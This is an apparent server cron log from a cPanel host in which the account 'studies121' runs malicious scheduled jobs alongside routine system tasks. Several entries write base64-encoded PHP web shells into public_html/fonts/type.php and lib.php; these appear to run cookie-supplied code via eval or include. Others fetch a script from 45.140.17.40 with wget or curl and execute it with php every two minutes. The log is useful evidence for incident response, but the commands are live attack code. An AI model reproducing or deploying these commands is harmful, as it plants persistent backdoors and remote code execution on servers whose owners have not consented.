Feb 22 17:43:01 ip-184-168-122-23 CROND[22970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:43:01 ip-184-168-122-23 CROND[22972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:44:01 ip-184-168-122-23 CROND[23308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:44:01 ip-184-168-122-23 CROND[23310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:44:01 ip-184-168-122-23 CROND[23311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:44:01 ip-184-168-122-23 CROND[23313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:44:01 ip-184-168-122-23 CROND[23312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:45:01 ip-184-168-122-23 CROND[23666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:45:01 ip-184-168-122-23 CROND[23667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:45:01 ip-184-168-122-23 CROND[23669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:45:01 ip-184-168-122-23 CROND[23670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:45:01 ip-184-168-122-23 CROND[23671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:45:01 ip-184-168-122-23 CROND[23672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:46:01 ip-184-168-122-23 CROND[24010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:46:01 ip-184-168-122-23 CROND[24011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:46:01 ip-184-168-122-23 CROND[24013]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 17:46:01 ip-184-168-122-23 CROND[24020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:46:01 ip-184-168-122-23 CROND[24019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:46:01 ip-184-168-122-23 CROND[24018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:47:01 ip-184-168-122-23 CROND[24358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:47:01 ip-184-168-122-23 CROND[24360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:47:01 ip-184-168-122-23 CROND[24361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:47:01 ip-184-168-122-23 CROND[24362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:48:01 ip-184-168-122-23 CROND[24769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:48:01 ip-184-168-122-23 CROND[24771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:48:01 ip-184-168-122-23 CROND[24773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:48:01 ip-184-168-122-23 CROND[24774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:48:01 ip-184-168-122-23 CROND[24776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:49:01 ip-184-168-122-23 CROND[25093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:49:01 ip-184-168-122-23 CROND[25097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:49:01 ip-184-168-122-23 CROND[25096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:49:01 ip-184-168-122-23 CROND[25095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:50:01 ip-184-168-122-23 CROND[25430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:50:01 ip-184-168-122-23 CROND[25432]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 17:50:01 ip-184-168-122-23 CROND[25433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:50:01 ip-184-168-122-23 CROND[25439]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 17:50:01 ip-184-168-122-23 CROND[25443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:50:01 ip-184-168-122-23 CROND[25438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:50:01 ip-184-168-122-23 CROND[25441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:50:01 ip-184-168-122-23 CROND[25442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:50:01 ip-184-168-122-23 CROND[25444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:51:01 ip-184-168-122-23 CROND[25789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:51:01 ip-184-168-122-23 CROND[25790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:51:01 ip-184-168-122-23 CROND[25793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:51:01 ip-184-168-122-23 CROND[25792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:52:02 ip-184-168-122-23 CROND[26129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:52:02 ip-184-168-122-23 CROND[26132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:52:02 ip-184-168-122-23 CROND[26131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:52:02 ip-184-168-122-23 CROND[26133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:52:02 ip-184-168-122-23 CROND[26134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:53:01 ip-184-168-122-23 CROND[26563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:53:01 ip-184-168-122-23 CROND[26564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:53:01 ip-184-168-122-23 CROND[26565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:53:01 ip-184-168-122-23 CROND[26568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:54:01 ip-184-168-122-23 CROND[26890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:54:01 ip-184-168-122-23 CROND[26893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:54:01 ip-184-168-122-23 CROND[26892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:54:01 ip-184-168-122-23 CROND[26894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:54:01 ip-184-168-122-23 CROND[26895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:55:01 ip-184-168-122-23 CROND[27242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:55:01 ip-184-168-122-23 CROND[27243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:55:01 ip-184-168-122-23 CROND[27246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:55:01 ip-184-168-122-23 CROND[27250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
